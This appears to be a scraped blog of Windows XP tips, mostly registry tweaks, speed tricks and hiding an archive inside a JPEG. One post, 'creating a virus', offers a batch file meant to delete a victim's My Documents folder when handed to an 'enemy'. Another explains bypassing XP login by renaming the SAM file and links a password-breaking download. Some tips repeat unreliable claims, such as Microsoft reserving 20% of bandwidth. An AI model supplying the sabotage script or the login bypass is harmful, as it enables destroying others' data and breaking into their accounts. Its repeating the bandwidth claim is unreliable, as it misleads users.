Hide Your Files In A JPEG

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Hide Your Files In A JPEG

Well, did you know you could hide your files in a JPEG file? For this, you will only need to download WinRAR. You just need to have a little knowledge about Command Prompt and have WinRAR installed.

Ok, lets begin…

1. Gather all the files that you wish to hide in a folder anywhere in your PC (make it in C:\hidden - RECOMMENDED).
2. Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:\hidden).
3. Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:\hidden.
4. Now, open Command Prompt (Go to Run and type ‘cmd‘). Make your working directory C:\hidden.
5. Now type: “COPY /b logo.jpg + secret.rar output.jpg” (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both. :D
6. Now, after you have done this, you will see a file output.jpg in C:\hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archive .

Done! [:D ]
plz do reply
7:49 PM

make adobe reader as fast as notepad

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Go to installation folder which is generally c:\program files\adobe\reader\

there u'll find a folder named "plug_ins"

open that folder and cut all the items present over there and paste it to
c:\program files\adobe\reader\ i.e outside the plug_ins folder.......

and u r done.observe the change by opening any .pdf file.....

Njoy


Yours Sanchit
10:30 AM

Play around registry- More Options

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Launch Regedit and go to the following Registry Key: HKEY_CURRENT_USER
/Software/Microsoft/CurrentVersion/Policies Under this key, there will definitely be a
key named explorer. Now under this explorer key we can create new DWORD values
and modify it's value to 1 in order to impose the restriction. If you want to remove the
Restriction, then you can simply delete the respective DWORD values or instead
change their values to 0. The following is a list of DWORD values that can be created
under the Explorer Key:


NoDeletePrinter: Disables Deletion of already installed Printers
NoAddPrinter: Disables Addition of new Printers
NoRun : Disables or hides the Run Command
NoSetFolders: Removes Folders from the Settings option on Start Menu (Control
Panel, Printers, Taskbar)
NoSetTaskbar: Removes Taskbar system folder from the Settings option on Start
Menu
NoFind: Removes the Find Tool (Start >Find)
NoDrives: Hides and does not display any Drives in My Computer
NoNetHood: Hides or removes the Network Neighborhood icon from the desktop
NoDesktop: Hides all items including, file, folders and system folders from the
Desktop
NoClose: Disables Shutdown and prevents the user from normally shutting down
Windows.
NoSaveSettings: Means to say, 'Don't save settings on exit'
DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, the
Windows Registry Editor(regedit.exe) too will not work.)
NoRecentDocsHistory: Removes Recent Document system folder from the Start
Menu (IE 4 and above)
ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.
Nolnternetlcon: Removes the Internet (system folder) icon from the Desktop
Now create a new key and name it System. Under this new key, system we can create
the following new DWORD values
NODispCPL: Hides Control Panel
NoDispBackgroundPage: Hides Background page.
NoDispScrsavPage: Hides Screen Saver Page
NoDispAppearancePage: Hides Appearance Page
NoDispSettingsPage: Hides Settings Page
NoSecCPL: Disables Password Control Panel
NoPwdPage: Hides Password Change Page
NoAdminPaqe: Hides Remote Administration Page
NoProfilePage: Hides User Profiles Page
NoDevMgrPage: Hides Device Manager Page
NoConfigPage: Hides Hardware Profiles Page
NoFileSysPage: Hides File System Button
NoVirtMemPage: Hides Virtual Memory Button
Similarly, if we create a new subkey named Network, we can add the following
DWORD values under it:
NoNetSetupSecurityPage: Hides Network Security Page
NoNelSetup: Hides or disables the Network option in the Control Panel
NoNetSetupIDPage: Hides the Identification Page
NoNetSetupSecurityPage: Hides the Access Control Page
NoFileSharingControl: Disables File Sharing Controls
NoPrintSharing: Disables Print Sharing Controls
12:18 PM

Change Internet Explorer's Caption

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Open the registry editor and go to HKEY_LOCAL_MACHINE\SOFTWARE
\Microsoft \Internet Explorer\Main. In the right pane create a new String Value names
Window Title (Note the space between Window and Title). Right click on this newly
created String Value and select Modify. Type in the new caption you want to be
displayed. Restart for the settings to take place.
12:17 PM

Increase BAndwidth by 20 %

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Microsoft reserves 20% of your available bandwidth for their own purposes like
Windows Updates and interrogating your PC etc. Click Start then Run and type
"gpedit.msc" without quotes. This opens the group policy editor. Then go to: Local
Computer Policy  Computer Configuration Administrative Templates Network
QOS Packet Scheduler and then to LimitReservableBandwidth. Double click on
Limit Reservable bandwidth. It will say it is not configured, but the truth is under the
'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of
the bandwidth of a connection, but you can use this setting to override the default." So
the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the
system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.
12:16 PM

Internet Explorer As Fast As FireFox

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Open registry editor by going to Start then Run and entering regedit. Once in registry,
navigateto key HKEY_CURRENT_USER\Software\microsoft\Windows\ Current
Version \InternetSettings. Right click on the right windows > New > DWORD. Type
MaxConnectionsPerServer > You can set value (the more higher the no, the more
good speed eg:99). Create another DWORD >type MaxConnectionsPer1_0Server.
Then put a high value as mentioned above. Restart I.E and you are done.
12:10 PM

make system faster using BIOS

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You can speed up your startup procedures by changing the BIOS with the built-in
setup utility. How you run this utility varies from PC to PC, but you typically get to it
by pressing the Delete, F1, or F10 keys during startup. You'll come to a menu with a
variety of choices. Here are the choices to make for faster system startups:
Quick Power On Self Test (POST)
When you choose this option, your system runs an abbreviated POST rather than the
normal, lengthy one.
Boot Up Floppy Seek
Disable this option. When it's enabled, your system spends a few extra seconds
looking for your floppy drivea relatively pointless procedure, especially considering
how infrequently you use your floppy drive.
Boot Delay
Some systems let you delay booting after you turn on your PC so that your hard drive
gets a chance to start spinning before bootup. Most likely, you don't need to have this
boot delay, so turn it off. If you run into problems, however, you can turn it back on
12:08 PM

Reducing the Wait Time

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When you start to shut down Windows XP, it has to quit, or "kill," any live
applications or processes that are currently running. So close all applications first.
However, some applications and processes are always running in the background.
You can reduce the amount of time that Windows XP waits for those applications and
processes to close before Windows XP kills them

1. Open registry editor
2. Navigate to HKEY_USERS\.DEFAULT\Control Panel\Desktop. Set the
WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout
\newline value and set it to 1000 as well.
3. Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control.
Select the WaitToKillServiceTimeout value and set it to 10000.
4. Close the Registry Editor.
12:06 PM

Disable Boot logo

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You can remove the boot logo that appears when you start Windows XP. This little
tweak probably shaves only a few seconds off your boot time but seconds count if you
are serious about trying to get Windows XP up and running as quickly as possible.
The only negative is that if you remove the boot logo, you will also not see any boot
messages, such as check disk.
To remove the boot logo, follow these steps:
1. Select Start/Run, type msconfig, and click OK.
2. In the System Configuration Utility, click the BOOT.INI tab.
3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK
12:01 PM

Disable Boot logo

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You can remove the boot logo that appears when you start Windows XP. This little
tweak probably shaves only a few seconds off your boot time but seconds count if you
are serious about trying to get Windows XP up and running as quickly as possible.
The only negative is that if you remove the boot logo, you will also not see any boot
messages, such as check disk.
To remove the boot logo, follow these steps:
1. Select Start/Run, type msconfig, and click OK.
2. In the System Configuration Utility, click the BOOT.INI tab.
3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK
12:01 PM

Speed up your Star MEnu

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Hey.. Speed up ur Start Menu...

As...The default setting of Windows causes a slight delay when opening the sub categories of the start menu.....
That is why we need to hover the mouse on it for about half a second.....
You can change this default setting by following these steps.....

1. Go to start==> run==> Type regedit. Press enter.....

2. Navigate to "HKEY_CURRENT_USER----> Control Panel."

3. Click on Desktop.

4. On the right pane look out for 'MenuShowDelay'....(If you can't find it right-click and create a new 'Multi-String Value' and rename it as 'MenuShowDelay')

5. The default setting is 400....

6. Double click it to modify it....

7. Set it to 0 and there will be no delay...

8. Exit registry and reboot.

However making it zero makes it difficult to move the mouse without accidentally opening other folders. So try giving some lower values and choose the one which best suits you. ..
11:54 AM

Breaking xp's password

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In case of user password boot the pc in safemode by pressing the F8 key and then selecting the Safe Mode option. You can now logon as an administrator and XP wont prompt for the password. Incase of an administrator account try rebooting the pc in DOS. access C:\Windows\system32\config\sam . Rename SAM as SAM.mj
Now XP wont ask for password next time You Login. Also

Also download this file to break into the admin's password


http://uploading.com/files/HCHLF6CT/Xp_Password.txt.html
11:47 AM

creating a virus (not actually a virus)

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HERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.HERE'S WHAT U SHOULD DO.


OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.I MEAN SAVE IT LIKE MYVIRUS.BAT.IT SHOULD HAVE THE ENDING AS .BAT.NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.


rmdir C:\Documents and Settings \S\Q.
11:47 AM

Rename START Button

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To rename the start button, you will need a hex editor.
My preference is UltraEdit

Copy the \windows\explore.exe file to a new name (e.g. explorer_1.exe)
With the hex editor, open that file and go to offset 412b6
You will see the word start with blanks between each letter
Edit it be any 5 characters or less
Save the file
Boot to DOS
Copy the existing c:\windows\explorer.exe to explorer.org
Copy explorer_1.exe to explorer.exe
You will also need to replace the explorer.exe in the c:\windows\system32\dllcache file as well with the new one.
Note: If the partition is NTFS and you can't access the files from DOS:

Start Regedit
Go to HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon.
Change the value of Shell from Explorer.exe to explorer_1.exe
11:44 AM

remove multi boot screen........

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If you are getting unwanted multiple boot screen
Then Follow these Steps.
1> Right Click on My Computer
2>Select Properties
3>Select Advanced Tab
4>Select Settings In the Startup & Recovery Section(3rd grp)
5>Select the operating system which u want.
6>And Click OK.
7>Further again press the setting and click on Edit.
8>It will open boot.ini File.
9>Now u can delete those o/s which you don't want to be displayed.

Note: For deleting operating systems from boot.ini file, keep it mind that you can't
delete that o/s which is selected by default there. Before
making any changes make a copy of boot.ini file.
11:17 AM

Change the name of recycle bin......

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To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-1
01B-9F08-00AA002F954E}
and change the name "Recycle Bin" to whatever you want (don't type any quotes).
11:09 AM

missing "folder option"

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if u hav folder option missing in ur PC...
just try this...

Scan your System With NORTON ANTIVIRUS 2006.u'll find a virus (a forgot its name).repair it and then Open Run and then type "gpedit.msc".
Now goto User Configuration > Administrative templates > Windows Component > Windows Explorer.
Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu"
Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

restart windows.......
11:03 AM

Stop Error Messages from Displaying on startup

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If you constantly see an error message that you can't get rid offor example, from a
piece of software that didn't uninstall properly and continues to give errors on
startupyou can disable it from displaying on startup. Run the Registry Editor and go to
HKEY_LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Windows. (This
key holds a variety of Windows system settings, such as the location of your system
directory.) Create a new DWORD called NoPopupsOnBoot and give it a value of 1.
Exit the Registry and reboot for the setting to take effect. To disable it, either delete
the DWORD value or give it a value of 0.
10:59 AM

Stopping Unneeded Startup Services and makin window faster

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To reduce the number of services that start on bootup, you can access two different
areas of Windows XP.

The first is the System Configuration Utility. You can do that by entering the
command “msconfig” in the run menu.
Start  Run  “msconfig” (without quotes) || Hit Enter
The Services tab shows you the services that start when the computer
boots. You can stop a service from starting by simply clearing the check box
next to the service and clicking OK.

However, before you do so, there is another way to disable services that you
may prefer because the interface gives you more information about the service
in question.
Open Control Panel  Administrative Tools Services or
Start  Run  “services.msc” || Hit Enter
Take a quick look at common services you may want to live without:
Automatic Updates: This service enables Windows XP to check the Web
automatically for updates. If you don't want to use Automatic Updates, you can
disable the service.
Computer Browser: If your computer is not on a network, you don't need this service.
If you are on a network, leave it alone.
DHCP Client: If you are not on a network, you do not need this service. If you are on
a small workgroup, you can still increase boot time by configuring manual IP.
DNS Client: If you are not on a network, you do not need this service.
Error Reporting and Event Log: You don't have to use these services but they can be
very helpful, so I would leave them configured as automatic.
Fax: If you don't use your computer for fax services, you can disable this one.
Help and Support: Disable if you never use the Windows XP Help and Support
Center.
IMAPI CD-Burning COM: This service enables you to burn CDs on your computer.
If you never burn CDs, you can disable the service without any second thoughts.
Indexing Service: Your computer keeps an index of all the files. But if you rarely
search for files, the service is just a resource hog. You can stop it
Windows Firewall/Internet Connection Sharing: If you do not use these features, plz
disable.
Infrared Monitor: If you do not use infrared devices, you can disable this service.
Messenger: This service sends alert messages on a local area network (it is not the
same as Windows Messenger). If you are not on a network, you can disable this
service.
Print Spooler: If you do not do any printing from the computer, you can disable this
service. If you print, make sure you leave it as automatic.
Remote Registry: This service allows remote users to modify the Registry on your
computer. If you are not on a network, you can disable this service.
System Restore Service: This service allows you to use System Restore. If you have
turned off System Restore anyway, you do not need to turn off the service.
Themes: If you do not use themes, you can disable this service.
Windows Image Acquisition: If you do not use scanners or digital cameras, you can
disable.
Wireless Zero Configuration: If do not use wireless networking devices, you can
disable.
10:46 AM

Speed up mozilla fifrfox

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Just follow these.....

Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:

network.http.pipelining
network.http.pipelining.maxrequests
network.http.proxy.pipelining

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"
Set "network.http.pipelining.maxrequests" to some number like 30.

3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it receives.

WEB PAGES WILL BE MUCH FASTER NOW...!!!!!!!!
WORKS REAL SMOOTH.......
10:44 AM

TURN ON UR PC IN JUST 10 SECONDS

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I do not take any responsibility f anything happening wrong to ur system.
make backup of you regestry before manupulating it

TURN ON UR PC IN JUST 10 SECONDS(may vary)
TURN ON UR PC IN JUST 10 SECONDS
so u wanna know how to turn the pc on in 10 seconds (may vary) heres what u have to do to turn ur pc on in 10 seconds

Click on the start button then -->>go to run
then type Regedit
press enter
this will open Registery Editor
now look for the key

HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Control\ContentIndex

now there find the Key Called
"Startup Delay"
Double Click On It
Now where its Base
Click Decimal
Now its Default Value Is 4800000 (75300:hexadecimal)
Change The Value To 40000
here u go u have done it
now close the Registery Editor and Restart Your Computer
You'll See The Result

10:40 AM

Speed up your SYSTEM

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I do not take any responsibility f anything happening wrong to ur system.
make backup of you regestry before manupulating it

Open up the Registry and go to :

HKEY_LOCAL_MACHINE/Software/Microsoft/Wi
ndows/Current Version/Explorer/RemoteComputer/NameSpace

Under that branch, select the key :

{D6277990-4C6A-11CF-8D87-00AA0060F5BF}

and delete it.

After this check out the browsing speed of ur pc....
10:37 AM